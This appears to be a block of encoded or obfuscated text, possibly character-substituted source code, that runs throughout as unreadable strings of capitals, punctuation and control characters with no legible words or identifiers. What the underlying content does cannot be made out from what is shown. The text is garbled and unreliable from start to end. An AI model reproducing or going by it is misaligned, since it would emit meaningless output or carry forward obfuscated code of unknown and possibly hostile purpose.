RVOFF URUSWNBR^US9_JFBRQR9O]lFFFFFFFFlFFFlFFFFFFFF]lFFFlFFFFFF FFFFFNBQ_^
	ROFFFBS^[NVRMV_O]BRTV	
[BS^CP]lFU_TVQTQ	_NB^UT^JFFB
SWJFFU	NWR_^OO]llllFFFFFFVVRQQ9U^NB^UT^JFFFFWRP NOO]llFFFU9
 NB^UT^JFFFFNVWV^MV_OO]lFF
V _RR _9NB^UT^O]lFFlFFFFBWRFFFFF[FFFF&P

_
TNWR^SONB^UT^OFFFYFFFF9^QSRQNNOFFFF&	^R_ NWR__ONB^UT^OOFFFFF\FFDD]lF FFFFFNBWRFG[[FFB
SWOFFFllFFFFFFF	RR^TT9
NP

_
TNWRQ_OJFFFFP

_
TNWTW_OO]lV V
9 RNB^UT^JFFFBQ_^
	RFFFYFFBP	VUWF\F

O]lFB9W
	P_ WFFFFFF[FFFFNOFF9		NU	NWSVVOJFFFFFFVOFFMFFW]lFFF9		NU	NWSVVOJFFB9W
	P_ WJFFFFF	^R_ NWSVWOO]llllF FFFFNB9W
	P_ WFFFX[FFFFNVWMVTOOFFFB	PT^[^U]BQPR[NB	PT^XVOYB	PT^\KB	PT^]l9		N9UNWR_SOJFFU	NWR_PONOJF9UNWSVWOO]lF	RR^TT9
N	^R_ NWRQ_OJFF	^R_ NWSVTOO]lFlF]lFFFFlFFFNBWRO]lB 			FF[F	^R_ NWSVUO]lFB^WPF[FFFFNO]lF 	FFFFFNB T^TWFFFBPVS_POFFFlBQ
WVFFF[FFF9UNWTP_ONBPVS_PO]llll FNG&	^R_ N^Q^ONBQ
WVOOFFFFF	]lFFFFFB	_ P	F[FFU	NWRSSONP

_
TNWVROOFFFYFF&U	NWVRONBPVS_PJFAAOFFF\F 
]l FNB	_ P	FFG[[F 
FFFF@@FFP

_
TNWRSSONU	NWWPPOOOFFF& 
	NB	_ P	JFF*)%-9#>O]lFB
F[FF&U	NWR^SONBPVS_POFYFFFF&U	NWRU_ONBPVS_POF\FFV]lFBP9S_U^FFFFF[F&	^R_ NWSVRONBPVS_POFFFFYFF&P

_
TNWR__ONBPVS_POFF\FDD]lFFFFFFF FFFFFNGU	NWR_QONBP9S_U^OOFlFF	RR^TT9
N9UNWRQ_OJFU	NWRRTOO]lF FNB	_ P	FFFG[[F 
OFFFFFFlFFFFFF FFFN	^R_ NWRSSONU	NWSVSOOOFFF& 
	NB	_ P	JFFF*)%-93(O]lFFFFFFF& 
	NB	_ P	O]lFlFF	]llFFFlF FFFNU	NWRRUONBP9S_U^JFFB^ S
_RPQ9OFFG[[FF 
OFlFFFFFF FN&P

_
TNWR^SONB^UT^OOFFFlFF FFFNB	_ P	FFFG[[F 
OFlFFFF FNP

_
TNWRSSONP

_
TNWSVSOOOF& 
	NB	_ P	JFFF*)%-93(O]lFFFFF& 
	NB	_ P	O]llFFFFlFFFFFF	]lFFlBP9S_U^F[FFFFFR  WWW
TNBP9S_U^JFFFFB^ S
_RPQ9O]lFFFFFl FNG9UNWR_QONBP9S_U^OOFFFFlFFFF	RR^TT9
NU	NWRQ_OJFFFFFP

_
TNWR_TOO]BWR [RWSW]B	

QU[BWR CT]lF FFFFNB	_ P	FFFFG[[FFF 
OFFFlFFFF FFFNP

_
TNWSVPON	^R_ NWSVQOOOFF& 
	NB	_ P	JF*)%-93(O]lF& 
	NB	_ P	O]lFFFlFFFFF	]lFFFlF FNG&9UNWSV^ONB^UT^OOFFlIIF16F 

F5F#\F
F	llFF FFFFNB	_ P	FFG[[F 
OFlF FFFFNU	NWSVPONU	NWSV_OOOFFF& 
	NB	_ P	JFF*)%-93(O]lF& 
	NB	_ P	O]lllFFlllFFF	]lFFFlF FNPQ
RQSNOOFFllllFFBRTQ
 FFFFF[FD:Z/ +	
F
X:DFHFB 			FFFFHFFFF9UNWSWVOFFFFHFFFB^UT^FHFFFFADAFFFHFFFD:ZI/ +	
X:D]lF
FFlFFBRTQ
 F[FFFFD:Z/ +	
F	9HX:DFFHFB 			FFHFU	NWSWWOFHFFB^UT^FHFADAFFFFHFD:ZI/ +	
X:DlFFHFFDZ/ +	
F	9SHX:DFHFB 			FHFU	NWSWWOFHFFFFB^UT^FFHFADAFHFD:ZI/ +	
X:DlllFFFFFHFFFDZ/ +	
F	9QHX:DFFHFFFB 			FFHFFFP

_
TNWSWTOFFFHFB^UT^FHFADAFHFFFFFFD:ZI/ +	
X:DlFFFFFFFHFDZ/ +	
F	9^HX:DFFHFFFFFFB 			FHFFF	^R_ NWSWTOFFHFB^UT^FHFFFFADAFFFFFHFD:ZI/ +	
X:D]llFFlFF FN URUSWNBPVS_PJFBP9S_U^FFFFFHFBRTQ
 OOFFB^WP=;FFFFF[FFNBPVS_PJFFBP9S_U^O]lFF FFNB
OFFVVRQQ9U^NBPVS_PJFB
O]llFFF
FFVVRQQ9U^NBPVS_PJFFFU	NWR_PONOO]l FFFFFNB	_ P	FFFG[[FF 
OFFl FFFN	^R_ NWSWUONP

_
TNWSV_OOOFFF& 
	NB	_ P	JFF*)%-93(O]lFF& 
	NB	_ P	O]lFFFlFFFFFFFlFFF FFFFNNBQ_^
	RFFFF9UNWSWRONB^WPOFFFFFXFFVOFF@@FFFFFG	U	PS99PV^NOOFFFFFlFllllF	RR^TT9
N9UNWRQ_OJFFF	^R_ NWRSVOO]llFFV V
9 RNB^UT^JFFBP	VUWO]l 	FNB^WPFFB _ WOFFF URUSWNB _ W=V;JFFFFB _ W=W;O]llllFFB9W
	P_ WFF[FFFFNOFF9		NP

_
TNWSVVOJFFVOFFFFMFW]lFFFFFFll9		NU	NWSVVOJFFB9W
	P_ WJFFFU	NWSVWOO]lFF FFNB9W
	P_ WFFFX[FFNVWMVTOOFl9		N9UNWR_SOJFF9UNWR_PONOJFF9UNWSVWOO]lFF	RR^TT9
N	^R_ NWRQ_OJFFFF	^R_ NWSVTOO]lFFFFFFlllFFFFFFFF]lllFFFFFlFF FFFFNNOFF9		NP

_
TNWSVVOJFFFVOFXFVOFFFFFF9		NP

_
TNWSVVOJFFVJFU	NWSWSOO]l FFFFNNOFF9		NP

_
TNWSWPOJFFVOFFFFXFFFFVOF&
9		NP

_
TNWSWQOO]llllFFFFFFFFFFN2	
FB
WSW9TOFlFF	RR^TT9
N9UNWRQ_OJFFFB
WSW9TO]B^TW[WVR_]BR	V[B^TW8SR]lFFFFFFFFN#	FB
WSW9TOFFFFlllF	RR^TT9
NU	NWRQ_OJFFB
WSW9TO]lFlFFFFFlFF 	FFF^S	9^99
NOllFFFFFFlF FFFNG NU	NWSW^OOOFF]lFFF FNG	^R_ NWSW_ONU	NWTSTOOOF]lllFFFBTS
F[FFFFFF	
_N'$56'2.FFFFFHFF9UNWSTVOJFNU8_OO]lFFFFB
VRW
F[FTWTNO]l FFFNGB
VRW
FFFF	^R_ NWU_WONB
VRW
OFFZFFFNVW MVWSOOFFF]lBPQ
 9FFF[FFFU
WTNO]lFFFBFF[FF&9		NBTS
JFFFFDDO]lFFFFF FFFFNBF@@FFP

_
TNWU_WONBOF[[[FFU	NWU_WONBPQ
 9OFFF@@FFBFF[[[FBPQ
 9OFF]lFFFFFF FFFFNU	NWSW_ONU	NWSTWOOOFFFFl9		NBTS
JFFBPQ
 9JFF	^R_ NWSWSOO]lFFFFFF
 FFFN N	^R_ NWSTTOOF@@F N	^R_ NWSTUOOFFFF@@FFFFF N9UNWSTROOFFFFFF@@FFF NU	N_ROOF@@FU	NWSTSONU	NWSTPOOOFlFB_VTFFFF[FU	NWSTPO]lFB USV^ 	FFFFFF[FFF&FFFB_VTN	N	^R_ NWSTTOOJFFF	NP

_
TNWSTQOOJF	N9UNWST^OOJF	NU	NWST_OOO]lF FFFFNB USV^ 	F@@FFGB USV^ 	KX	9	OFFFFlB FF[FNB!*)$'*5=	^R_ NWUTWO;KX OFFFYFFB!*)$'*5=U	NWUTWO;KX FF\F9UNWVVTO]llllFFBQ	__QUTRFFF[FB USV^ 	KX
99NBPQ
 9O]llFFFFFFB 
PPTFF[FFFB USV^ 	KX
99NBTS
O]lFFFB USV^ 	KXND/:R:SU:RS42F/(:SR:R FB 	:QV:P_	:QUFN:P :QV:QR	:P9:PJF	:QV:P_:P 9
JF:PW:QR	
	OF:SP':R3:RS:SUFNAB 
PPTAJFABQ	__QUTRAJFA:P AOF):RF"36:R/%:RW:SR#F-#?F:SS6:RR:RW:SR#F	:QV:QR:P_:P 9:PW
[ABQ	__QUTRADO]l FNB USV^ 	KX	OFFF	RR^TT9
N9UNWSTVOJFFFFFU	NWSUVOFFFHFP

_
TNWURQONB USV^ 	KX	JFFFVJFNWT^K^OOO]lFB USV^ 	KX
	NO]lFllIIFFF		llFFFFN2	
FFFFFB
WSW9TOFFFFFFl	RR^TT9
N	^R_ NWSUWOJFFFFB
WSW9TO]lFFFFFFFFFFFFFFN#	FFFB
WSW9TOFFlFFlFFFFFlFFF 	FF
RUTU9RNOllIIF16F/$
	\F		F		llB99SFF[FF N	^R_ NWRWUOOFFFYFFFF169%)(2#(29"/4FF\FFFFFF'$56'2.FFFFHFFFFFP

_
TN_PQO]lB TVQ^ TWFFFF[FF	
_N'$56'2.FFFHF9UNWSUTOJFNWPP8WQROO]lFFFNB99SFFHFFU	NSQ^OJFFB99SFFHFFP

_
TNWSUUOFFFHFB TVQ^ TWFFFFFHFFU	NWSUROJFFB TVQ^ TWO]llF 	FFFFF9^NB^RVQ_S_QOlFlFFFBQ
FF[FFNOFFFFF&U	NWSUSONB^RVQ_S_QO]lFFF FNBQ
FFZFFFFNWV^K^OFFFFFFFFFBQ
FFXFNTV_QWRTMWVOOFF 
]lFFB	UF[F&P

_
TNWSUPONB^RVQ_S_QO]lFFF FFFNG9UNWR_QONB	UOFFFFFFFP

_
TNWU_WONB	UOFZFNWTTKTTOFFFF9UNWU_WONB	UOFXFNUTSRUVMWQQWQTTOOFFFF 
]lFFB 
 UUTQ	WFFF[FFFFP

_
TNTTVONA\AJFB	UJFFFFFFNTU^8TUROO]l FFFFNU	NWSUQONB 
 UUTQ	WOFFFFZFNQV8PPOFFFB 
 UUTQ	W=V;FFFFFG[[FF9UNWSU^OFFFFFF	^R_ NWU_WONB 
 UUTQ	W=NTMWO;OFFFFZFNRRMPOOFFFF 
]lFFFFFBWRV	P
UFFFFF[F&P

_
TNRVTONB 
 UUTQ	W=N^Q8^RO;O]l FNBWRV	P
UF[[[F 
FFFFFFFF	^R_ NWU_WONBWRV	P
UOFZFNVWQMVWOOFFFFFFFF 
]lFFFFF FN	^R_ NWURQONBWRV	P
UJFVJFFTOFFFFF[[[FFD:W :^DOFFFllFFFFBTSRS^9FFF[FF&	^R_ NWSU_ONA0AJFFFFFU	NWURQONBWRV	P
UJFKNWMUOOO]l FFFNG	^R_ NWU^RONBTSRS^9OFFFFFFBTSRS^9=W;FFFFFZFNQPMTROFFFFFBTSRS^9=W;FXFFNWVR^SRQMT_OOFFF 
]lFFFFF FFNU	NWSW_ONP

_
TNWSRVOOOFBWRV	P
UF[FF&	NBWRV	P
UJFFFNWVR^SRQMT_OO]lFFFFF
 FN	^R_ NWSW_ON	^R_ NWUTROOOFFlFFFFBWRV	P
UFFF[FF& 
N	^R_ NWURQONBWRV	P
UJFFFNWM_OJFFP

_
TNWU_WONBWRV	P
UOFKFNVWVMVTOOJFFFFNW^UU_SQKQ^SU^WOO]lFFFFF FFNP

_
TNWR_QONBWRV	P
UOFFFFF@@FFP

_
TNWSRWONBWRV	P
UOFFFXFFNVWQMVTRT_OOFF 
]llFFFFFlF
FFFFFFFFF 
]lllFFlllFFFFFF FNG9UNWR_QONBWRV	P
UOFFFFFF9UNWSRTONBWRV	P
UOFFFZFFFFFFN_TM^OFFFFFFFFU	NWURQONBWRV	P
UJFFFVJFNVWMVROOFG[[FF9UNQPWOFFFFFFFF	^R_ NWSRUONBWRV	P
UOFG[[FFB 
 UUTQ	W=T;OFFF 
]lFFFFFFFBWRV	P
U]lFFFl 	F
^
NOllFFlIIF16F6	F%	\FFK	llFFFFFFFlFFF FFFFNG NP

_
TNWSW^OOOFF]lFFB	^^P_WSQRFF[FF
RUTU9RNO]lFFF FFFFNG&P

_
TNWSV^ONB	^^P_WSQR=W;OOFFF]l FFFN9^NB	^^P_WSQR=W;OFFF[[[FFFFFF 
OFF]lFFFFBR^STV	
WFFFFF[FFFF_9 RRP9R _NP

_
TNQRTOJFFNA995*3!99AOJFFFFN9UNWWPSONWP__VVUVNOJFP

_
TNWRQPOOOO]lFFF FFNG	^R_ NWSRRONBR^STV	
WOFFFFFFFBR^STV	
WF[[[FFDDOFF]lFBR^STV	
WF[FFFFU	NWR^^ON9UNWSRSOJFFFDDJFFFFBR^STV	
WO]BWR
[PTMP^]BS^[BWR
KSV]lF FFFFFNGP

_
TNWSRRONBR^STV	
WOFFFFFBR^STV	
WFFFFFF[[[FFFDDOFFFFF]lFFFFBWQS	F[F^P	PU QNOFFHFFA\AFHFFF	
_N'$56'2.FFHFFFFF	^R_ NWSRPOJFFNRMROO]lB9TV_PFFFF[FFFFFP

_
TNWSRQOFFHFBWQS	FHFFP

_
TNWSR^O]lFBWU^_FF[FFFFF9UNWSR_OFHFBWQS	FHF9UNWSR^O]lFB^9RWQFFFFFF[FFFFFFU	NWSSVOFFFFFHFFFFFFB	^^P_WSQR=T;FFFHFFFFP

_
TNWSSWOFHFFF^P	PU QNOFFFFHFFFU	NWSR^OFFFFFHFD:DFFHFFBR^STV	
W]l FNG&P

_
TNWSV^ONB	^^P_WSQR=V;OOFFFFFFlF FFNGVW9_		SNB	^^P_WSQR=V;JFDDOOFFFFFlF	RR^TT9
NP

_
TNWSUTOJF	^R_ NWSSTOO]lFF]lFFFllFF FFFFN URUSWNB	^^P_WSQR=V;JFFFFFB^9RWQOOFlFVVRQQ9U^NB	^^P_WSQR=V;JFWRP NOO]llllFFU9
 NB	^^P_WSQR=V;JFNUPSMSSOO]l
V _RR _9NB	^^P_WSQR=V;O]llFF]lFFFFFFFllFFFFFFBPQW 9QWTFFFFFF[FF&P

_
TNWSUPONB	^^P_WSQR=V;O]lllF FFFNGP

_
TNWSRRONBPQW 9QWTOFFF9UNWSRTONBPQW 9QWTOFFFFXFFFNW_Q^W_UMWW^_S_OOF]ll FFN	^R_ NWRRUONBPQW 9QWTJFFFB9TV_POFFG[[FFFF 
FF@@FFFF	^R_ NWRRUONBPQW 9QWTJFBWU^_OFFFG[[F 
OF]lFFF FFFFN	^R_ NWRRUONBPQW 9QWTJFFFF9UNWSSUOOF[[[FFFFFF 
FFF@@FFFP

_
TNWSSRONBPQW 9QWTJFFU	NWSSSOFFFHFB	^^P_WSQR=T;OFFG[[FF 
OFllllFFFF FFFFNU	NWUVWONU	NWSSPOJFFFF	^R_ NWURQONBPQW 9QWTJFFVJFFFFFNWRSMSSOOJFBW_ROFF@@F	9	NBW_R=W;JF^P	PU QNOJFF	^R_ NWSSQOOOF]lllF FFFFFNGVW9_		SNB	^^P_WSQR=V;JFFFBPQW 9QWTOOFFFFlFF	RR^TT9
NU	NWSUTOJFFP

_
TNWSSTOO]lF]lFlIIF&
F
llFF FFN URUSWNB	^^P_WSQR=V;JFFB^9RWQOOFlVVRQQ9U^NB	^^P_WSQR=V;JFFWRP NOO]lU9
 NB	^^P_WSQR=V;JFFNUSVMQVOO]lllF
V _RR _9NB	^^P_WSQR=V;O]lFlFFFFFF]lllFFlFB	RRVVPFFF[FFF	
_N'$56'2.FFFFHFF	^R_ NWSRPOJFNQMWOO]lFBPQW 9QWTFFFF[FFP

_
TNWR^^ON9UNWSS^OFHFFB	RRVVPFFHFFFFU	NWSS_OJFFDDJFBPQW 9QWTO]lFFFFF FFFNG	^R_ NWSRRONBPQW 9QWTOOFFlFF	RR^TT9
NU	NWSUTOJFFFFFF	^R_ NWSPVOO]lFF]llllllF FFFFFNG&9UN^Q^ONB	^^P_WSQR=V;OOF]lFF FFFFNG9QP W Q TN9UNWSUTOOOFFl	RR^TT9
N9UNWSPWOJFFFP

_
TNWSPTOO]llllFFF]lllFl FFFNGVW9_		SNB	^^P_WSQR=V;JFFFFFBPQW 9QWTOOFFl	RR^TT9
NP

_
TNWSPWOJFFF	^R_ NWSPUOO]lFFFFFFF]lFFFFFllllFFVN	^R_ NWSPWOO]lFFB V F[FFB9TV_PFHFFFFFD:DFHFFU	NWSPROFFFFHFFB	^^P_WSQR=T;FFFHFP

_
TNWSR^OFFFHFFFFD:DFFFFFFHFFBR^STV	
WFHFFFFD:DFFFHFBWU^_]lFFFFFFFF URUSWNB	^^P_WSQR=V;JFFFF
_S_TQ 9^QUP_NBPQW 9QWTJFFFB V OO]lFFFN2	
FFB
WSW9TOFFl	RR^TT9
N	^R_ NWSPWOJFFFFFB
WSW9TO]lFFFFN#	FFB
WSW9TOFFlFFlFFFFFl 	FFFF_VT R	NOlFlIIF	
F	llFFFFFllllF FFNG N9UNWSPSOOOFFFFFF]lFFFFFFFB	^^P_WSQRFFF[F
RUTU9RNO]lFFFB	
TUUFF[FFFFNOFFF&P

_
TNWSPPONB	^^P_WSQR=W;JFF 
JFFF

JFVJFFFFNWVRKRVOO]lFFFFF FFFNP

_
TNWUVWONP

_
TNWSPQOJFB	
TUUJFFFBQWS_P _QOFFF@@FBQWS_P _Q=W;FFFF[[[FFF^P	PU QNOOFFFFlFFFFB  9T FFFF[FFNOF9		NP

_
TNWSP^OJFFVO]l FFFFN	^R_ NWR_PONOFFFFKFFFFB  9T FFFZFNWSQMRRUOOFFF]lllFFFFF FFFN9^NB	^^P_WSQR=W;OFFFG[[F 
OFlFFF&9		NU	NWSP_OJFFFF9UNWR_PONOJFFFU	NWSWSOO]lF]llFF	RR^TT9
N	^R_ NWSPWOJFFFFP

_
TNWSQVOO]llFFFFFFB
VRW
FFFFF[FFTWTNO]lll FFFFFNGB
VRW
FFFFF	^R_ NWSRTONB
VRW
OFFZFFFNRQSMTSOFFFFFF	^R_ NWSRTONB
VRW
OFXFFFNWVR^SQWMSOFFFFFGS_V9QNB
VRW
OOFF]lFBS  FFFFF[FF9UNWSW_ON	^R_ NT_WOOFYFF&	NB
VRW
JFNTS8UWOOFF\FFFFB
VRW
]lll FFNG	^R_ NWSQWONBS  OFFFFFFBS  FF[[[FFFFDDOFF]lFFF FFN URUSWNB	^^P_WSQR=W;JFFFFP

_
TNWSQTOFHFFF^P	PU QNOFFFFHFFFFA\AFFFHFFF9UNWSQUONB
VRW
OFFFHFFA\AFHFFFF9UNU__ONBS  OOOFFFFF&9		NP

_
TNWSP_OJFFFFU	NWR_PONOJFP

_
TNWSWSOO]lFFFFFN2	
FFB
WSW9TOFlF	RR^TT9
NP

_
TNWSPWOJFFFFFB
WSW9TO]lFFFFFFN#	FFFFFB
WSW9TOFFllIIF16F2
F$
	\FF
llFFFFFlFFFF 	FFFFFF99 
	^NOlFFFFFFllFFFFF FFFFFFNGP

_
TNWSW_ON	^R_ NWSQROOOFFF 
]llFFFBR^_F[FFF N9UNWSPSOOFF@@FF&9UNWSVRON'$56'2.FFFFFHF	^R_ NPVVOOFFFYFFF'$56'2.FHF9UNWSQSOF\FFF99 /*#99]lFFFFF9UNWSQPONBR^_JFFFFFAAO]lFFlF 	FFFSQV9VNOlFFFFlFFFFFlFF FFFNGP

_
TNWSW_ON	^R_ NWSQQOOFFFFFG	^R_ NWSW_ON9UNWSQ^OOOFFF]lFFFF FFFFNG NU	NWSPSOOOFF]lB
VRW
F[FFTWTNO]lFFFFFFF FFFNGB
VRW
FFFP

_
TNWSRTONB
VRW
OFFZFFFFFNRQUMTQOOFF]lFBFFFF[FF99 
	^NO]l FFFFNBF[[[F 
OFF]lFFB_

_UFF[F9UNWSW_ON	^R_ NWSQ_OOFFYFF9UNWS^VON9UNWS^WOJFFB
VRW
OFF\FFFU	NWS^TONB
VRW
O]lFFFB9R	FF[FF	^R_ NWS^UOFFHFFFFF	^R_ NWSRTONB
VRW
OFFFFFHFFA\AFHFFB_

_UFHFD:DFFFHFFB
VRW
]lFFFB_S9FF[FFFFF	^R_ NWS^RONB9R	O]lFFB9_WWV_F[FF&	^R_ NWSQQONBJFAAJFFFFFVJFFFVO]lF FFFFNB9_WWV_OFFlB
SSVSFFFFFF[FFFFFNOFF&	^R_ NWS^SONB9_WWV_O]lFFBP	VUWFF[FFF&9UNWS^PONB9_WWV_JFFFFVJFFB
SSVSO]llFFFFF FFFFFFN9UNWS^QONBP	VUWOFFFF@@FFFFFU	NWS^^ONBP	VUWJFFFFB
VRW
OFFFFFFG[[F 
OFFFFlFFFF&9UNWS^_ONB9_WWV_O]lFFFF]lFlIIF		F	
F	llFF FFNB
SSVSFX[FFFFB_S9OFllF&	^R_ NWS^_ONB9_WWV_O]lFB9_WWV_FFF[F&P

_
TNWSQQONBJFFFAAJFFFFFFVJFFFFVO]llFFFF FFNB9_WWV_OFFFFlFF&9UNWS_VONB9_WWV_JFFFFFP

_
TNWS_WONB9R	JFB
SSVSJFFFFFD:VDOJFFFFFVO]lllFFFBW^RV9FFFF[FFFF&9UNWS^PONB9_WWV_JFFFVJFB_S9O]lF&9UNWS^_ONB9_WWV_O]lFFFFF FFNBW^RV9FG[[FB9R	OF	RR^TT9
NP

_
TNWS_TOJFP

_
TNWTW_OO]BTT[KSP_]BR Q	[NBTTXVOYBTT\KBTT]llF]lFF
FFlF&	^R_ NWS_UONB9_WWV_O]ll&P

_
TNWS^_ONB9_WWV_O]lFFFFlFFFFFlFB
SSVSFF[FB_S9FFMFFNWVVTMTTO]lFB9_WWV_FF[FF&9UNWS_RONBJFAAJFFNUSWMP_OJFFB
SSVSO]lF FFFFNGB9_WWV_OFF]ll&	^R_ NWS_VONB9_WWV_JFFFP

_
TNWS_SONB9R	JFFFFB
SSVSJFFFFD:VDOJFFFFFVO]lFBW^RV9FF[FFFF&U	NWS^PONB9_WWV_JFFFFVJFB_S9O]l FFFFNBW^RV9FG[[FB9R	OF	RR^TT9
N9UNWS_TOJFFFP

_
TNWTW_OO]lll&	^R_ NWS^_ONB9_WWV_O]llFFFFFFFFFFN2	
FFFFB
WSW9TOFFlIIF16F5F+	
\F
FllF	RR^TT9
NP

_
TNWS_TOJFFB
WSW9TO]lFFFFN#	FFFB
WSW9TOFFB_R_V9[TUWPP]BR9T[B_R_V98WPR]lFFFFFFFllFFF 	FFF
_S_TQ 9^QUP_NBJFFB V OlFFlIIF	F
F 	F16F6	F2llFFFFFFF FFFFFFNG9UNWS_PONBOFFFFFFFBF[[[FDDOFFFFFFP

_
TN__UOFFFFFHFFB V FHFFD:D]l FFN9UNWUVWON	^R_ NWS_QOJFBJFB	STR_JFF64#!9)  5#29%'6234#OOFFFFlIIF&
FK	llllFB  TPFFF[FFB	STR_=V;=W;FMF9UNWS^RONB	STR_=V;=V;O]B	P	
[_^LT]B 	VS[B	P	
KTV]lllB
TPTUWFF[FFF9UNWS_^ONBJFB  TPJFNWRVTPKS^UROO]l
FFFNP

_
TNWS_PONB
TPTUWOFF@@FFFFFP

_
TNWUVWON9UNWS__OJFB
TPTUWJFB9OOFlFFFB  TPFFFFM[FFFF	^R_ NWS^RONB9=V;O]lB
TPTUWF[FFFFFP

_
TNWS_^ONBJFFFFFB  TPJFFN^WRSMRQOO]lllllFFFFP

_
TNWPVVONBJFFVJFFFFB  TPOFFHFFD:DFHFB V FFHFD:DFFHFF9UNWPVWONBJFB  TPO]lllFFFFFlFFFFF	^R_ NWPVTOFFHFFFFFB V FHFFFFD:YX:DFHFFB]llFFFlF 	F9QP W Q TNBOllllFFFFFFl FFFNG	^R_ NWPVUONP

_
TNWTSTOOOFFFFF]lB^9V
FFFF[FFFF&9		NU	NWPVROFFHFFBJFFFFDDO]lFFFFFFF FFN9UNWS_PONB^9V
OF@@FU	NWPVSONB^9V
JFFAAOFG[[FFFF 
OFlFB 
 UUTQ	WFFF[F9UNTTVONAAJFB^9V
JFTO]l FFFNNOFFB 
 UUTQ	W=V;FF[[[FFFNOFFFN	^R_ NWR_PONOFFFIFFFNWSPRR^KQVVR^OOFFF@@FFNOFB 
 UUTQ	W=W;FFFFX[FFFNVTMVWOOFFFFFFFF 
]lFFFlFFF]lFFFlF 	FFFVNBOlllFFFlIIF16F 	F'6/FFllllF FNGU	NWPVUONU	NWPVPOOFFFFFFG	^R_ NWPVQONP

_
TNWPV^OOOFFF]llBRU
FF[FNOFFFN	^R_ NWR_PONOFFFFFIFN^PUR_MSWOO]lFB^9V
F[FFFFF&9		N	^R_ NWPVROFFFFFHFFFFFFBJFDDO]lFBVTVWF[FV]l FN9UNWPV_ONB^9V
OF@@F	^R_ NWPVSONB^9V
JFAAOFG[[FF 
OFFFFlllB 
 UUTQ	WFFFFFF[FFP

_
TNWPWVONAAJFFB^9V
JFFFTO]l FFFNNOFFFFB 
 UUTQ	W=V;F[[[FFBRU
OFBVTVWFFFF[FFFFFFNOFB 
 UUTQ	W=W;]lFFFllllFFFFFBVTVWMM]lFF&9		N9UNWPVROFFFHFFFBJFBRU
FFFHFFAAFFHFFFFBVTVWJFU	NWSWSOO]lllF FFNBVTVWFFFFX[FFFFFNPKUOOFF	RR^TT9
N	^R_ NWPWWOJFP

_
TNWPWTOFFFHFFFBO]llF 	FFFFFF9W_QRNOlllFFllllFFFFFlllFF FNG N9UNWSPSOOOF]l FFNG NU	NWRWUOOFFG&9UN^Q^ON169%)(2#(29"/4OFFFFFFFG	R9N169%)(2#(29"/4OOFF]lllFFFFBR WPV FF[FFFFF169%)(2#(29"/4]lFFFFB9US_STF[FBR WPV FFHFFF9UNWU_RO]lFFFFFFBTVFFF[F	^R_ NWPWUONWP__VVUVNOJFFF	^R_ NWPWROO]lFB ^R ^_P RFF[FF	
_N'$56'2.FHFFFFF	^R_ NWPWSOJFFNTMPOOFFHFP

_
TNWUT^O]lFFBPW F[FFF 	T^U^NO]lllFBTS
F[FFFF	
_N'$56'2.FHFFU	NWSUWOJFFNV_MVWOO]llFB	WS^F[FFFFFFP

_
TNWPVQONP

_
TNWPWPOOFYFF99 
	^NOF\FFFFF 
]lFB	VSSW QVF[FFB	WS^FFG[[FF 
FYFU	NWPWQONB	WS^OFFFFF\FFV]lB
V PQ99F[FFFFFFNB!*)$'*5=9UNWUTWO;KX OFFFFFYFB!*)$'*5=	^R_ NWUTWO;KX FF\FFFF	^R_ NWVVTO]lBVWT	STW
FF[FFF	^R_ NWPW^OFFHFP

_
TNWPVWONU	NWS^TONBTVFHFNOFR
PPRTNOOJFFVJFFFFFFNVQMVWOO]lFBP FF[FF_9 RRP9R _NlllFFFFFP

_
TNQUVOJlFNA995*3!99AJFA99</69('+#99AJFFFFFFA995.+)69-#?99AJFA99)629('+#99AJFA9916964# />99AJFA99!3'4"9('+#99AJFA990#45/)(99AOJlNBTVJFFFB ^R ^_P RJFFFB	VSSW QVJFFFBTS
JFFFB
V PQ99JFFFFBVWT	STW
JFF^P	PU QNOOlFFFFO]lFFFF FFNGBP OFFFllFFFFFF FFFNNOFFFFF9		N9UNWRQ^OJFFFVOFFFXFVOF	RR^TT9
NU	NWPW_OJFFFFFF	^R_ NWPTVOO]llF]lFFFlFBFFFF[FF&	^R_ NWSVRONB9US_STOFYF&	^R_ NWPTWONB9US_STOFF\FFDD]llllFF FFNG9UNWPTTONBOOFFlF	RR^TT9
N9UNWPTUOJFFFF	^R_ NWRRTOO]lF]lFlFBFFFF[FFFFFF9^QSRQNBO]llllBWQS	FF[FFF^P	PU QNOFFFFFFHFFFFA\AFFFFFHFFF	
_N'$56'2.FFHFFFP

_
TNWPTROJFFFFNRZZWOO]lFB9TV_PF[FFP

_
TNWPTSOFFFFFHFFFBWQS	FFFHF9UNWSR^O]lFBWU^_F[FF9UNWPTPOFFFHFBWQS	FHFFP

_
TNWPTQO]lFFFB 9QF[FF	
_N'$56'2.FFHFFFFU	NWPTROJFFFNWSP8WR^OO]lFFFFFFFFBPSF[FU	NWPT^ON9UNWPT_OFHFFFFFB 9QFFHFFFP

_
TNWPUVOJFDDJFFBO]lFBQ V
SFFF[FNP

_
TNWPVSONBPSJFFF	^R_ NWPUWOOFFFG[[FF 
O]l FN9UNWPUTONBJFFB9TV_POFG[[FFFF 
F@@FFFFF	^R_ NWPUUONBJFFFBWU^_OFG[[FFF 
FF@@FFFFFGBQ V
SOFFFFlPVT	V
RNO]lF]lFFlllFFFFBFFF[FP

_
TNWPURON	^R_ NWPUSOJFFDDJFFFFBPSO]lFFFFFFF FFNGU	NWPTTONBOOFFlIIF
F
lB_QW[T_MWW]B	
	RT^[B_QWKTS]lFF	RR^TT9
NP

_
TNWPUPOJF	^R_ NWSPVOO]llFFFF]lllFFlFBFFF[FFF9^QSRQNBO]lBS99^FF[FFU	NWPUQONP

_
TNWSRSOJFDDJFFFFFBP O]llFFB	9 F[FFN9UNWS^RONBOF[[[FFFFFFVO]lF FFNGB	9 OFll FFFNG9QP W Q TN	^R_ NWPUPOOOFFl	RR^TT9
NU	NWPUPOJFF9UNWSPTOO]lF]lFFFlF FFNGVW9_		SNB9US_STJFFBOOFFFlFF	RR^TT9
NU	NWPU^OJFF9UNWSPUOO]l]lFFFFFllllFFFFFFVN	^R_ NWPU_OO]lFFF
FFlFF FFFNGVW9_		SNB9US_STJFDDOOFFlFF	RR^TT9
NP

_
TNWPRVOJFF	^R_ NWPRWOO]lFF]lFFFFlFFFFFlFBVS9FF[F
_S_TQ 9^QUP_NBJFFFFB9TV_PFHFFFFFD:DFHFBS99^FFHFD:DFFHFBWU^_O]lFF FNG URUSWNB9US_STJFFFFFBVS9OOFFFFlF]lFFFFlF FFFNB	9 OF
V _RR _9NB9US_STO]lFFFFFFPVT	V
RNO]lFlFFFFFFN2	
FFB
WSW9TOFFlFF	RR^TT9
NU	NWPRVOJFFFB
WSW9TO]lFFFN#	FFFFFB
